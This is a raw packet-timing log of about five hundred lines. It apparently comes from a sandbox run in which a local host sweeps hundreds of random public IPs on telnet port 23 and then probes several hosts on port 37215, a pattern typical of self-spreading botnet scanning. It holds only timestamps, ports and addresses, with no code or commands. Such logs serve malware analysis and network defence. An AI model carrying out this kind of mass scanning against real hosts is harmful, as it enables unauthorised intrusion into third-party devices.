Dec 3, 2024 22:02:03.177834034 CET	39808	23	192.168.2.14	153.152.231.153
Dec 3, 2024 22:02:03.177840948 CET	39808	23	192.168.2.14	1.170.42.180
Dec 3, 2024 22:02:03.177843094 CET	39808	23	192.168.2.14	106.188.242.112
Dec 3, 2024 22:02:03.177845001 CET	39808	23	192.168.2.14	134.68.211.79
Dec 3, 2024 22:02:03.177864075 CET	39808	23	192.168.2.14	218.227.59.60
Dec 3, 2024 22:02:03.177865028 CET	39808	23	192.168.2.14	117.164.104.246
Dec 3, 2024 22:02:03.177871943 CET	39808	23	192.168.2.14	211.103.103.191
Dec 3, 2024 22:02:03.177871943 CET	39808	23	192.168.2.14	78.161.114.126
Dec 3, 2024 22:02:03.177891016 CET	39808	23	192.168.2.14	177.147.97.179
Dec 3, 2024 22:02:03.177891970 CET	39808	23	192.168.2.14	52.182.230.29
Dec 3, 2024 22:02:03.177891970 CET	39808	23	192.168.2.14	86.54.27.66
Dec 3, 2024 22:02:03.177892923 CET	39808	23	192.168.2.14	122.14.118.2
Dec 3, 2024 22:02:03.177892923 CET	39808	23	192.168.2.14	176.158.106.107
Dec 3, 2024 22:02:03.177892923 CET	39808	23	192.168.2.14	85.200.87.216
Dec 3, 2024 22:02:03.177900076 CET	39808	23	192.168.2.14	20.142.245.90
Dec 3, 2024 22:02:03.177901983 CET	39808	23	192.168.2.14	143.12.165.1
Dec 3, 2024 22:02:03.177902937 CET	39808	23	192.168.2.14	2.83.0.178
Dec 3, 2024 22:02:03.177905083 CET	39808	23	192.168.2.14	137.159.239.97
Dec 3, 2024 22:02:03.177905083 CET	39808	23	192.168.2.14	169.63.145.47
Dec 3, 2024 22:02:03.177906036 CET	39808	23	192.168.2.14	85.140.64.86
Dec 3, 2024 22:02:03.177905083 CET	39808	23	192.168.2.14	27.49.191.190
Dec 3, 2024 22:02:03.177906036 CET	39808	23	192.168.2.14	102.124.146.210
Dec 3, 2024 22:02:03.177905083 CET	39808	23	192.168.2.14	41.152.119.84
Dec 3, 2024 22:02:03.177906036 CET	39808	23	192.168.2.14	53.219.151.83
Dec 3, 2024 22:02:03.177908897 CET	39808	23	192.168.2.14	158.59.176.180
Dec 3, 2024 22:02:03.177906036 CET	39808	23	192.168.2.14	118.116.31.10
Dec 3, 2024 22:02:03.177908897 CET	39808	23	192.168.2.14	63.99.230.205
Dec 3, 2024 22:02:03.177906036 CET	39808	23	192.168.2.14	205.218.135.184
Dec 3, 2024 22:02:03.177908897 CET	39808	23	192.168.2.14	126.8.228.77
Dec 3, 2024 22:02:03.177912951 CET	39808	23	192.168.2.14	36.66.210.121
Dec 3, 2024 22:02:03.177922964 CET	39808	23	192.168.2.14	149.62.90.79
Dec 3, 2024 22:02:03.177923918 CET	39808	23	192.168.2.14	216.66.72.165
Dec 3, 2024 22:02:03.177923918 CET	39808	23	192.168.2.14	125.16.246.70
Dec 3, 2024 22:02:03.177923918 CET	39808	23	192.168.2.14	181.195.186.225
Dec 3, 2024 22:02:03.177923918 CET	39808	23	192.168.2.14	25.121.18.135
Dec 3, 2024 22:02:03.177927017 CET	39808	23	192.168.2.14	63.189.50.115
Dec 3, 2024 22:02:03.177927017 CET	39808	23	192.168.2.14	69.81.66.75
Dec 3, 2024 22:02:03.177927971 CET	39808	23	192.168.2.14	171.112.93.93
Dec 3, 2024 22:02:03.177927971 CET	39808	23	192.168.2.14	74.204.252.64
Dec 3, 2024 22:02:03.177927971 CET	39808	23	192.168.2.14	129.37.231.194
Dec 3, 2024 22:02:03.177927971 CET	39808	23	192.168.2.14	107.182.103.69
Dec 3, 2024 22:02:03.177927971 CET	39808	23	192.168.2.14	206.71.139.132
Dec 3, 2024 22:02:03.177946091 CET	39808	23	192.168.2.14	91.46.45.50
Dec 3, 2024 22:02:03.177946091 CET	39808	23	192.168.2.14	128.246.20.230
Dec 3, 2024 22:02:03.177954912 CET	39808	23	192.168.2.14	196.106.6.100
Dec 3, 2024 22:02:03.177956104 CET	39808	23	192.168.2.14	161.166.170.193
Dec 3, 2024 22:02:03.177956104 CET	39808	23	192.168.2.14	88.100.24.206
Dec 3, 2024 22:02:03.177956104 CET	39808	23	192.168.2.14	146.201.255.183
Dec 3, 2024 22:02:03.177956104 CET	39808	23	192.168.2.14	155.6.123.246
Dec 3, 2024 22:02:03.177956104 CET	39808	23	192.168.2.14	205.246.129.108
Dec 3, 2024 22:02:03.177957058 CET	39808	23	192.168.2.14	63.125.253.172
Dec 3, 2024 22:02:03.177957058 CET	39808	23	192.168.2.14	40.175.77.138
Dec 3, 2024 22:02:03.177984953 CET	39808	23	192.168.2.14	181.145.182.157
Dec 3, 2024 22:02:03.177985907 CET	39808	23	192.168.2.14	206.151.58.160
Dec 3, 2024 22:02:03.177985907 CET	39808	23	192.168.2.14	42.124.31.231
Dec 3, 2024 22:02:03.177987099 CET	39808	23	192.168.2.14	57.71.33.186
Dec 3, 2024 22:02:03.178004026 CET	39808	23	192.168.2.14	14.129.86.60
Dec 3, 2024 22:02:03.178004980 CET	39808	23	192.168.2.14	190.80.92.236
Dec 3, 2024 22:02:03.178004026 CET	39808	23	192.168.2.14	154.149.215.122
Dec 3, 2024 22:02:03.178004026 CET	39808	23	192.168.2.14	198.172.22.79
Dec 3, 2024 22:02:03.178004980 CET	39808	23	192.168.2.14	31.159.87.4
Dec 3, 2024 22:02:03.178004980 CET	39808	23	192.168.2.14	211.139.253.94
Dec 3, 2024 22:02:03.178008080 CET	39808	23	192.168.2.14	66.159.54.144
Dec 3, 2024 22:02:03.178008080 CET	39808	23	192.168.2.14	41.201.160.252
Dec 3, 2024 22:02:03.178008080 CET	39808	23	192.168.2.14	141.14.80.69
Dec 3, 2024 22:02:03.178009033 CET	39808	23	192.168.2.14	122.14.195.28
Dec 3, 2024 22:02:03.178009033 CET	39808	23	192.168.2.14	199.37.103.229
Dec 3, 2024 22:02:03.178009033 CET	39808	23	192.168.2.14	128.67.175.229
Dec 3, 2024 22:02:03.178011894 CET	39808	23	192.168.2.14	187.176.106.25
Dec 3, 2024 22:02:03.178014994 CET	39808	23	192.168.2.14	221.114.214.49
Dec 3, 2024 22:02:03.178009033 CET	39808	23	192.168.2.14	62.193.217.237
Dec 3, 2024 22:02:03.178014994 CET	39808	23	192.168.2.14	109.196.185.178
Dec 3, 2024 22:02:03.178009033 CET	39808	23	192.168.2.14	109.238.77.52
Dec 3, 2024 22:02:03.178014994 CET	39808	23	192.168.2.14	42.131.14.174
Dec 3, 2024 22:02:03.178009033 CET	39808	23	192.168.2.14	162.223.75.73
Dec 3, 2024 22:02:03.178023100 CET	39808	23	192.168.2.14	112.142.30.222
Dec 3, 2024 22:02:03.178023100 CET	39808	23	192.168.2.14	120.136.84.182
Dec 3, 2024 22:02:03.178024054 CET	39808	23	192.168.2.14	210.229.60.160
Dec 3, 2024 22:02:03.178024054 CET	39808	23	192.168.2.14	69.25.113.119
Dec 3, 2024 22:02:03.178025007 CET	39808	23	192.168.2.14	158.152.213.102
Dec 3, 2024 22:02:03.178025007 CET	39808	23	192.168.2.14	108.243.163.3
Dec 3, 2024 22:02:03.178030014 CET	39808	23	192.168.2.14	93.65.26.90
Dec 3, 2024 22:02:03.178030014 CET	39808	23	192.168.2.14	171.239.248.195
Dec 3, 2024 22:02:03.178035021 CET	39808	23	192.168.2.14	49.190.158.216
Dec 3, 2024 22:02:03.178035021 CET	39808	23	192.168.2.14	154.41.192.73
Dec 3, 2024 22:02:03.178044081 CET	39808	23	192.168.2.14	130.197.79.2
Dec 3, 2024 22:02:03.178045034 CET	39808	23	192.168.2.14	58.60.129.226
Dec 3, 2024 22:02:03.178045034 CET	39808	23	192.168.2.14	64.22.221.14
Dec 3, 2024 22:02:03.178047895 CET	39808	23	192.168.2.14	145.58.246.30
Dec 3, 2024 22:02:03.178064108 CET	39808	23	192.168.2.14	120.96.175.117
Dec 3, 2024 22:02:03.178065062 CET	39808	23	192.168.2.14	64.64.225.244
Dec 3, 2024 22:02:03.178065062 CET	39808	23	192.168.2.14	213.23.85.29
Dec 3, 2024 22:02:03.178065062 CET	39808	23	192.168.2.14	193.172.193.222
Dec 3, 2024 22:02:03.178067923 CET	39808	23	192.168.2.14	212.113.102.44
Dec 3, 2024 22:02:03.178067923 CET	39808	23	192.168.2.14	191.5.93.195
Dec 3, 2024 22:02:03.178067923 CET	39808	23	192.168.2.14	35.253.55.183
Dec 3, 2024 22:02:03.178067923 CET	39808	23	192.168.2.14	113.30.24.173
Dec 3, 2024 22:02:03.178067923 CET	39808	23	192.168.2.14	24.238.187.134
Dec 3, 2024 22:02:03.178067923 CET	39808	23	192.168.2.14	213.156.209.21
Dec 3, 2024 22:02:03.178095102 CET	39808	23	192.168.2.14	101.216.241.148
Dec 3, 2024 22:02:03.178095102 CET	39808	23	192.168.2.14	130.228.194.110
Dec 3, 2024 22:02:03.178097010 CET	39808	23	192.168.2.14	85.55.67.58
Dec 3, 2024 22:02:03.178097010 CET	39808	23	192.168.2.14	43.80.8.192
Dec 3, 2024 22:02:03.178097010 CET	39808	23	192.168.2.14	71.18.62.211
Dec 3, 2024 22:02:03.178097010 CET	39808	23	192.168.2.14	164.253.85.52
Dec 3, 2024 22:02:03.178097010 CET	39808	23	192.168.2.14	165.158.193.43
Dec 3, 2024 22:02:03.178102016 CET	39808	23	192.168.2.14	118.120.162.10
Dec 3, 2024 22:02:03.178107023 CET	39808	23	192.168.2.14	123.177.39.57
Dec 3, 2024 22:02:03.178107023 CET	39808	23	192.168.2.14	183.55.161.246
Dec 3, 2024 22:02:03.178113937 CET	39808	23	192.168.2.14	108.105.252.240
Dec 3, 2024 22:02:03.178117037 CET	39808	23	192.168.2.14	176.71.138.181
Dec 3, 2024 22:02:03.178117037 CET	39808	23	192.168.2.14	120.49.10.9
Dec 3, 2024 22:02:03.178117037 CET	39808	23	192.168.2.14	149.188.31.43
Dec 3, 2024 22:02:03.178117037 CET	39808	23	192.168.2.14	52.79.180.25
Dec 3, 2024 22:02:03.178122044 CET	39808	23	192.168.2.14	120.222.237.231
Dec 3, 2024 22:02:03.178122044 CET	39808	23	192.168.2.14	72.192.166.31
Dec 3, 2024 22:02:03.178127050 CET	39808	23	192.168.2.14	141.0.151.87
Dec 3, 2024 22:02:03.178127050 CET	39808	23	192.168.2.14	105.148.73.237
Dec 3, 2024 22:02:03.178127050 CET	39808	23	192.168.2.14	172.130.125.124
Dec 3, 2024 22:02:03.178127050 CET	39808	23	192.168.2.14	187.125.168.185
Dec 3, 2024 22:02:03.178138971 CET	39808	23	192.168.2.14	92.164.13.28
Dec 3, 2024 22:02:03.178142071 CET	39808	23	192.168.2.14	219.102.151.207
Dec 3, 2024 22:02:03.178144932 CET	39808	23	192.168.2.14	108.13.173.119
Dec 3, 2024 22:02:03.178153038 CET	39808	23	192.168.2.14	25.218.15.54
Dec 3, 2024 22:02:03.178154945 CET	39808	23	192.168.2.14	134.67.92.12
Dec 3, 2024 22:02:03.178158998 CET	39808	23	192.168.2.14	218.69.0.102
Dec 3, 2024 22:02:03.178158998 CET	39808	23	192.168.2.14	220.251.9.11
Dec 3, 2024 22:02:03.178158998 CET	39808	23	192.168.2.14	141.243.245.73
Dec 3, 2024 22:02:03.178158998 CET	39808	23	192.168.2.14	57.188.52.126
Dec 3, 2024 22:02:03.178158998 CET	39808	23	192.168.2.14	168.233.92.138
Dec 3, 2024 22:02:03.178159952 CET	39808	23	192.168.2.14	122.239.245.127
Dec 3, 2024 22:02:03.178188086 CET	39808	23	192.168.2.14	199.32.9.43
Dec 3, 2024 22:02:03.178189993 CET	39808	23	192.168.2.14	124.28.123.13
Dec 3, 2024 22:02:03.178193092 CET	39808	23	192.168.2.14	122.242.255.215
Dec 3, 2024 22:02:03.178195000 CET	39808	23	192.168.2.14	75.243.73.82
Dec 3, 2024 22:02:03.178195953 CET	39808	23	192.168.2.14	183.219.254.219
Dec 3, 2024 22:02:03.178195000 CET	39808	23	192.168.2.14	80.206.207.19
Dec 3, 2024 22:02:03.178195953 CET	39808	23	192.168.2.14	186.45.100.72
Dec 3, 2024 22:02:03.178195000 CET	39808	23	192.168.2.14	34.131.209.230
Dec 3, 2024 22:02:03.178195000 CET	39808	23	192.168.2.14	93.252.3.21
Dec 3, 2024 22:02:03.178195953 CET	39808	23	192.168.2.14	155.216.157.136
Dec 3, 2024 22:02:03.178195953 CET	39808	23	192.168.2.14	197.235.211.143
Dec 3, 2024 22:02:03.178195953 CET	39808	23	192.168.2.14	194.54.161.178
Dec 3, 2024 22:02:03.178204060 CET	39808	23	192.168.2.14	102.243.122.4
Dec 3, 2024 22:02:03.178205013 CET	39808	23	192.168.2.14	40.68.28.148
Dec 3, 2024 22:02:03.178205967 CET	39808	23	192.168.2.14	49.210.83.222
Dec 3, 2024 22:02:03.178214073 CET	39808	23	192.168.2.14	189.233.95.141
Dec 3, 2024 22:02:03.178214073 CET	39808	23	192.168.2.14	35.9.175.9
Dec 3, 2024 22:02:03.178215981 CET	39808	23	192.168.2.14	168.74.111.107
Dec 3, 2024 22:02:03.178215981 CET	39808	23	192.168.2.14	88.91.173.247
Dec 3, 2024 22:02:03.178215981 CET	39808	23	192.168.2.14	83.125.50.120
Dec 3, 2024 22:02:03.178215981 CET	39808	23	192.168.2.14	121.195.121.161
Dec 3, 2024 22:02:03.178215981 CET	39808	23	192.168.2.14	172.171.60.152
Dec 3, 2024 22:02:03.178219080 CET	39808	23	192.168.2.14	136.165.37.201
Dec 3, 2024 22:02:03.178220987 CET	39808	23	192.168.2.14	148.225.23.3
Dec 3, 2024 22:02:03.178220987 CET	39808	23	192.168.2.14	78.248.106.151
Dec 3, 2024 22:02:03.178221941 CET	39808	23	192.168.2.14	130.2.60.162
Dec 3, 2024 22:02:03.178221941 CET	39808	23	192.168.2.14	212.245.227.118
Dec 3, 2024 22:02:03.178221941 CET	39808	23	192.168.2.14	128.192.77.109
Dec 3, 2024 22:02:03.178224087 CET	39808	23	192.168.2.14	42.240.158.87
Dec 3, 2024 22:02:03.178225040 CET	39808	23	192.168.2.14	65.182.4.72
Dec 3, 2024 22:02:03.178225040 CET	39808	23	192.168.2.14	101.33.107.77
Dec 3, 2024 22:02:03.178225994 CET	39808	23	192.168.2.14	197.71.110.220
Dec 3, 2024 22:02:03.178225994 CET	39808	23	192.168.2.14	92.254.84.116
Dec 3, 2024 22:02:03.178225994 CET	39808	23	192.168.2.14	205.71.165.52
Dec 3, 2024 22:02:03.178226948 CET	39808	23	192.168.2.14	51.18.56.26
Dec 3, 2024 22:02:03.178261995 CET	39808	23	192.168.2.14	193.37.95.100
Dec 3, 2024 22:02:03.178262949 CET	39808	23	192.168.2.14	17.51.251.125
Dec 3, 2024 22:02:03.178261995 CET	39808	23	192.168.2.14	173.225.9.134
Dec 3, 2024 22:02:03.178262949 CET	39808	23	192.168.2.14	223.186.8.244
Dec 3, 2024 22:02:03.178262949 CET	39808	23	192.168.2.14	158.87.50.90
Dec 3, 2024 22:02:03.178262949 CET	39808	23	192.168.2.14	157.207.244.35
Dec 3, 2024 22:02:03.178262949 CET	39808	23	192.168.2.14	133.92.251.105
Dec 3, 2024 22:02:03.178270102 CET	39808	23	192.168.2.14	117.50.195.17
Dec 3, 2024 22:02:03.178271055 CET	39808	23	192.168.2.14	102.27.17.16
Dec 3, 2024 22:02:03.178272009 CET	39808	23	192.168.2.14	31.37.190.223
Dec 3, 2024 22:02:03.178272009 CET	39808	23	192.168.2.14	109.155.209.231
Dec 3, 2024 22:02:03.178272009 CET	39808	23	192.168.2.14	222.247.173.162
Dec 3, 2024 22:02:03.178278923 CET	39808	23	192.168.2.14	221.51.170.191
Dec 3, 2024 22:02:03.178281069 CET	39808	23	192.168.2.14	13.105.167.114
Dec 3, 2024 22:02:03.178284883 CET	39808	23	192.168.2.14	133.123.255.168
Dec 3, 2024 22:02:03.178278923 CET	39808	23	192.168.2.14	151.53.138.252
Dec 3, 2024 22:02:03.178284883 CET	39808	23	192.168.2.14	108.95.85.168
Dec 3, 2024 22:02:03.178286076 CET	39808	23	192.168.2.14	125.8.242.181
Dec 3, 2024 22:02:03.178278923 CET	39808	23	192.168.2.14	181.85.147.193
Dec 3, 2024 22:02:03.178287029 CET	39808	23	192.168.2.14	146.182.34.210
Dec 3, 2024 22:02:03.178278923 CET	39808	23	192.168.2.14	156.216.151.86
Dec 3, 2024 22:02:03.178287029 CET	39808	23	192.168.2.14	68.8.19.154
Dec 3, 2024 22:02:03.178288937 CET	39808	23	192.168.2.14	114.172.108.177
Dec 3, 2024 22:02:03.178278923 CET	39808	23	192.168.2.14	204.100.71.169
Dec 3, 2024 22:02:03.178289890 CET	39808	23	192.168.2.14	145.69.182.208
Dec 3, 2024 22:02:03.178289890 CET	39808	23	192.168.2.14	96.5.211.233
Dec 3, 2024 22:02:03.178278923 CET	39808	23	192.168.2.14	103.171.153.171
Dec 3, 2024 22:02:03.178289890 CET	39808	23	192.168.2.14	97.202.54.77
Dec 3, 2024 22:02:03.178278923 CET	39808	23	192.168.2.14	86.248.168.238
Dec 3, 2024 22:02:03.178289890 CET	39808	23	192.168.2.14	160.127.204.211
Dec 3, 2024 22:02:03.178289890 CET	39808	23	192.168.2.14	172.222.63.150
Dec 3, 2024 22:02:03.178297043 CET	39808	23	192.168.2.14	39.159.205.8
Dec 3, 2024 22:02:03.178297043 CET	39808	23	192.168.2.14	110.108.56.50
Dec 3, 2024 22:02:03.178297043 CET	39808	23	192.168.2.14	187.193.246.65
Dec 3, 2024 22:02:03.178297043 CET	39808	23	192.168.2.14	4.28.65.115
Dec 3, 2024 22:02:03.178303957 CET	39808	23	192.168.2.14	213.147.93.75
Dec 3, 2024 22:02:03.178304911 CET	39808	23	192.168.2.14	25.12.185.192
Dec 3, 2024 22:02:03.178303957 CET	39808	23	192.168.2.14	4.55.223.115
Dec 3, 2024 22:02:03.178304911 CET	39808	23	192.168.2.14	118.137.24.100
Dec 3, 2024 22:02:03.178307056 CET	39808	23	192.168.2.14	218.21.132.152
Dec 3, 2024 22:02:03.178307056 CET	39808	23	192.168.2.14	99.179.69.118
Dec 3, 2024 22:02:03.178307056 CET	39808	23	192.168.2.14	60.64.221.194
Dec 3, 2024 22:02:03.178308010 CET	39808	23	192.168.2.14	156.140.113.171
Dec 3, 2024 22:02:03.178308964 CET	39808	23	192.168.2.14	84.51.253.56
Dec 3, 2024 22:02:03.178308964 CET	39808	23	192.168.2.14	64.18.52.105
Dec 3, 2024 22:02:03.178311110 CET	39808	23	192.168.2.14	139.152.222.92
Dec 3, 2024 22:02:03.178313971 CET	39808	23	192.168.2.14	77.156.76.62
Dec 3, 2024 22:02:03.178318977 CET	39808	23	192.168.2.14	62.155.85.182
Dec 3, 2024 22:02:03.178322077 CET	39808	23	192.168.2.14	96.126.54.240
Dec 3, 2024 22:02:03.178324938 CET	39808	23	192.168.2.14	146.241.114.76
Dec 3, 2024 22:02:03.178324938 CET	39808	23	192.168.2.14	195.28.46.224
Dec 3, 2024 22:02:03.178328991 CET	39808	23	192.168.2.14	212.190.5.54
Dec 3, 2024 22:02:03.178333044 CET	39808	23	192.168.2.14	12.101.118.206
Dec 3, 2024 22:02:03.178338051 CET	39808	23	192.168.2.14	182.105.208.155
Dec 3, 2024 22:02:03.178344965 CET	39808	23	192.168.2.14	107.138.141.237
Dec 3, 2024 22:02:03.178344965 CET	39808	23	192.168.2.14	188.103.247.138
Dec 3, 2024 22:02:03.178344965 CET	39808	23	192.168.2.14	72.242.38.213
Dec 3, 2024 22:02:03.178368092 CET	39808	23	192.168.2.14	170.65.241.193
Dec 3, 2024 22:02:03.178368092 CET	39808	23	192.168.2.14	185.195.64.124
Dec 3, 2024 22:02:03.178370953 CET	39808	23	192.168.2.14	164.157.159.127
Dec 3, 2024 22:02:03.178373098 CET	39808	23	192.168.2.14	105.94.190.157
Dec 3, 2024 22:02:03.178373098 CET	39808	23	192.168.2.14	207.170.95.147
Dec 3, 2024 22:02:03.178373098 CET	39808	23	192.168.2.14	25.97.160.136
Dec 3, 2024 22:02:03.178373098 CET	39808	23	192.168.2.14	171.36.161.27
Dec 3, 2024 22:02:03.178378105 CET	39808	23	192.168.2.14	109.113.73.243
Dec 3, 2024 22:02:03.178378105 CET	39808	23	192.168.2.14	67.220.185.142
Dec 3, 2024 22:02:03.178379059 CET	39808	23	192.168.2.14	44.105.173.98
Dec 3, 2024 22:02:03.178379059 CET	39808	23	192.168.2.14	23.147.218.19
Dec 3, 2024 22:02:03.178379059 CET	39808	23	192.168.2.14	171.194.196.199
Dec 3, 2024 22:02:03.178380966 CET	39808	23	192.168.2.14	202.5.209.169
Dec 3, 2024 22:02:03.178392887 CET	39808	23	192.168.2.14	198.89.52.133
Dec 3, 2024 22:02:03.178392887 CET	39808	23	192.168.2.14	96.5.45.53
Dec 3, 2024 22:02:03.178395987 CET	39808	23	192.168.2.14	88.192.111.83
Dec 3, 2024 22:02:03.178401947 CET	39808	23	192.168.2.14	144.196.221.201
Dec 3, 2024 22:02:03.178402901 CET	39808	23	192.168.2.14	24.229.235.70
Dec 3, 2024 22:02:03.178425074 CET	39808	23	192.168.2.14	61.21.231.161
Dec 3, 2024 22:02:03.178425074 CET	39808	23	192.168.2.14	133.124.100.115
Dec 3, 2024 22:02:03.178425074 CET	39808	23	192.168.2.14	69.241.58.99
Dec 3, 2024 22:02:03.178431988 CET	39808	23	192.168.2.14	71.216.117.173
Dec 3, 2024 22:02:03.178432941 CET	39808	23	192.168.2.14	183.79.191.95
Dec 3, 2024 22:02:03.178432941 CET	39808	23	192.168.2.14	23.85.93.200
Dec 3, 2024 22:02:03.178432941 CET	39808	23	192.168.2.14	140.61.226.137
Dec 3, 2024 22:02:03.178436041 CET	39808	23	192.168.2.14	151.26.171.253
Dec 3, 2024 22:02:03.178436995 CET	39808	23	192.168.2.14	207.108.169.105
Dec 3, 2024 22:02:03.178436995 CET	39808	23	192.168.2.14	112.191.140.223
Dec 3, 2024 22:02:03.178437948 CET	39808	23	192.168.2.14	172.59.126.157
Dec 3, 2024 22:02:03.178437948 CET	39808	23	192.168.2.14	77.4.213.177
Dec 3, 2024 22:02:03.178442001 CET	39808	23	192.168.2.14	119.182.119.224
Dec 3, 2024 22:02:03.178442955 CET	39808	23	192.168.2.14	70.203.155.154
Dec 3, 2024 22:02:03.178443909 CET	39808	23	192.168.2.14	35.50.144.137
Dec 3, 2024 22:02:03.178450108 CET	39808	23	192.168.2.14	180.112.73.228
Dec 3, 2024 22:02:03.178452969 CET	39808	23	192.168.2.14	206.137.126.124
Dec 3, 2024 22:02:03.178452969 CET	39808	23	192.168.2.14	220.55.106.199
Dec 3, 2024 22:02:03.178455114 CET	39808	23	192.168.2.14	41.209.247.170
Dec 3, 2024 22:02:03.178468943 CET	39808	23	192.168.2.14	190.65.216.134
Dec 3, 2024 22:02:03.178468943 CET	39808	23	192.168.2.14	97.85.86.249
Dec 3, 2024 22:02:03.178468943 CET	39808	23	192.168.2.14	90.209.237.69
Dec 3, 2024 22:02:03.178472996 CET	39808	23	192.168.2.14	193.148.135.49
Dec 3, 2024 22:02:03.178502083 CET	39808	23	192.168.2.14	162.178.41.74
Dec 3, 2024 22:02:03.178503036 CET	39808	23	192.168.2.14	163.78.77.153
Dec 3, 2024 22:02:03.178505898 CET	39808	23	192.168.2.14	43.125.168.231
Dec 3, 2024 22:02:03.178505898 CET	39808	23	192.168.2.14	89.37.168.190
Dec 3, 2024 22:02:03.178507090 CET	39808	23	192.168.2.14	206.180.64.251
Dec 3, 2024 22:02:03.178505898 CET	39808	23	192.168.2.14	41.75.132.112
Dec 3, 2024 22:02:03.178507090 CET	39808	23	192.168.2.14	167.69.125.216
Dec 3, 2024 22:02:03.178505898 CET	39808	23	192.168.2.14	95.172.41.120
Dec 3, 2024 22:02:03.178507090 CET	39808	23	192.168.2.14	161.192.226.202
Dec 3, 2024 22:02:03.178505898 CET	39808	23	192.168.2.14	42.137.58.103
Dec 3, 2024 22:02:03.178512096 CET	39808	23	192.168.2.14	126.149.155.243
Dec 3, 2024 22:02:03.178505898 CET	39808	23	192.168.2.14	202.12.212.134
Dec 3, 2024 22:02:03.178512096 CET	39808	23	192.168.2.14	118.76.105.235
Dec 3, 2024 22:02:03.178512096 CET	39808	23	192.168.2.14	205.46.68.67
Dec 3, 2024 22:02:03.178512096 CET	39808	23	192.168.2.14	37.138.230.153
Dec 3, 2024 22:02:03.178514004 CET	39808	23	192.168.2.14	161.75.133.185
Dec 3, 2024 22:02:03.178512096 CET	39808	23	192.168.2.14	209.61.101.196
Dec 3, 2024 22:02:03.178518057 CET	39808	23	192.168.2.14	94.85.60.156
Dec 3, 2024 22:02:03.178518057 CET	39808	23	192.168.2.14	83.106.205.243
Dec 3, 2024 22:02:03.178518057 CET	39808	23	192.168.2.14	111.145.119.60
Dec 3, 2024 22:02:03.178519011 CET	39808	23	192.168.2.14	109.82.49.88
Dec 3, 2024 22:02:03.178519964 CET	39808	23	192.168.2.14	181.215.78.114
Dec 3, 2024 22:02:03.178519964 CET	39808	23	192.168.2.14	75.2.128.251
Dec 3, 2024 22:02:03.178524017 CET	39808	23	192.168.2.14	167.108.215.80
Dec 3, 2024 22:02:03.178525925 CET	39808	23	192.168.2.14	160.245.19.253
Dec 3, 2024 22:02:03.178536892 CET	39808	23	192.168.2.14	68.0.151.170
Dec 3, 2024 22:02:03.178538084 CET	39808	23	192.168.2.14	90.11.223.72
Dec 3, 2024 22:02:03.178538084 CET	39808	23	192.168.2.14	125.255.201.92
Dec 3, 2024 22:02:03.178548098 CET	39808	23	192.168.2.14	218.17.7.220
Dec 3, 2024 22:02:03.178555965 CET	39808	23	192.168.2.14	153.121.253.233
Dec 3, 2024 22:02:03.178559065 CET	39808	23	192.168.2.14	85.142.48.198
Dec 3, 2024 22:02:03.178560972 CET	39808	23	192.168.2.14	54.210.56.243
Dec 3, 2024 22:02:03.178565979 CET	39808	23	192.168.2.14	13.226.150.125
Dec 3, 2024 22:02:03.178565979 CET	39808	23	192.168.2.14	2.172.69.60
Dec 3, 2024 22:02:03.178585052 CET	39808	23	192.168.2.14	186.225.138.113
Dec 3, 2024 22:02:03.178585052 CET	39808	23	192.168.2.14	78.87.96.219
Dec 3, 2024 22:02:03.178590059 CET	39808	23	192.168.2.14	194.34.34.113
Dec 3, 2024 22:02:03.178590059 CET	39808	23	192.168.2.14	171.185.134.252
Dec 3, 2024 22:02:03.178601027 CET	39808	23	192.168.2.14	34.132.150.162
Dec 3, 2024 22:02:03.178601027 CET	39808	23	192.168.2.14	75.1.76.110
Dec 3, 2024 22:02:03.178603888 CET	39808	23	192.168.2.14	53.173.114.43
Dec 3, 2024 22:02:03.178606987 CET	39808	23	192.168.2.14	54.127.250.27
Dec 3, 2024 22:02:03.178606987 CET	39808	23	192.168.2.14	17.212.92.112
Dec 3, 2024 22:02:03.178610086 CET	39808	23	192.168.2.14	14.76.130.172
Dec 3, 2024 22:02:03.178617954 CET	39808	23	192.168.2.14	200.43.140.230
Dec 3, 2024 22:02:03.178628922 CET	39808	23	192.168.2.14	189.188.14.112
Dec 3, 2024 22:02:03.178630114 CET	39808	23	192.168.2.14	186.40.89.247
Dec 3, 2024 22:02:03.178631067 CET	39808	23	192.168.2.14	103.75.38.45
Dec 3, 2024 22:02:03.178639889 CET	39808	23	192.168.2.14	165.111.94.143
Dec 3, 2024 22:02:03.189712048 CET	37215	48380	156.123.151.3	192.168.2.14
Dec 3, 2024 22:02:03.189781904 CET	48380	37215	192.168.2.14	156.123.151.3
Dec 3, 2024 22:02:03.189831972 CET	48380	37215	192.168.2.14	156.123.151.3
Dec 3, 2024 22:02:03.189831972 CET	48380	37215	192.168.2.14	156.123.151.3
Dec 3, 2024 22:02:03.190109968 CET	48500	37215	192.168.2.14	156.123.151.3
Dec 3, 2024 22:02:03.190330029 CET	37215	57616	156.234.225.136	192.168.2.14
Dec 3, 2024 22:02:03.190372944 CET	57616	37215	192.168.2.14	156.234.225.136
Dec 3, 2024 22:02:03.190570116 CET	57616	37215	192.168.2.14	156.234.225.136
Dec 3, 2024 22:02:03.190570116 CET	57616	37215	192.168.2.14	156.234.225.136
Dec 3, 2024 22:02:03.190864086 CET	57736	37215	192.168.2.14	156.234.225.136
Dec 3, 2024 22:02:03.195353985 CET	37215	37982	41.249.74.18	192.168.2.14
Dec 3, 2024 22:02:03.195404053 CET	37982	37215	192.168.2.14	41.249.74.18
Dec 3, 2024 22:02:03.195466995 CET	37982	37215	192.168.2.14	41.249.74.18
Dec 3, 2024 22:02:03.195466995 CET	37982	37215	192.168.2.14	41.249.74.18
Dec 3, 2024 22:02:03.195796967 CET	38088	37215	192.168.2.14	41.249.74.18
Dec 3, 2024 22:02:03.207293034 CET	37215	50278	41.73.129.181	192.168.2.14
Dec 3, 2024 22:02:03.207348108 CET	50278	37215	192.168.2.14	41.73.129.181
Dec 3, 2024 22:02:03.207406044 CET	50278	37215	192.168.2.14	41.73.129.181
Dec 3, 2024 22:02:03.207406044 CET	50278	37215	192.168.2.14	41.73.129.181
Dec 3, 2024 22:02:03.207705021 CET	50348	37215	192.168.2.14	41.73.129.181
Dec 3, 2024 22:02:03.215477943 CET	37215	54134	197.83.84.192	192.168.2.14
Dec 3, 2024 22:02:03.215533018 CET	54134	37215	192.168.2.14	197.83.84.192
Dec 3, 2024 22:02:03.215601921 CET	54134	37215	192.168.2.14	197.83.84.192
Dec 3, 2024 22:02:03.215601921 CET	54134	37215	192.168.2.14	197.83.84.192
Dec 3, 2024 22:02:03.215928078 CET	54180	37215	192.168.2.14	197.83.84.192
Dec 3, 2024 22:02:03.218816042 CET	37215	56092	156.71.207.31	192.168.2.14
Dec 3, 2024 22:02:03.219830036 CET	37215	57752	197.47.140.171	192.168.2.14
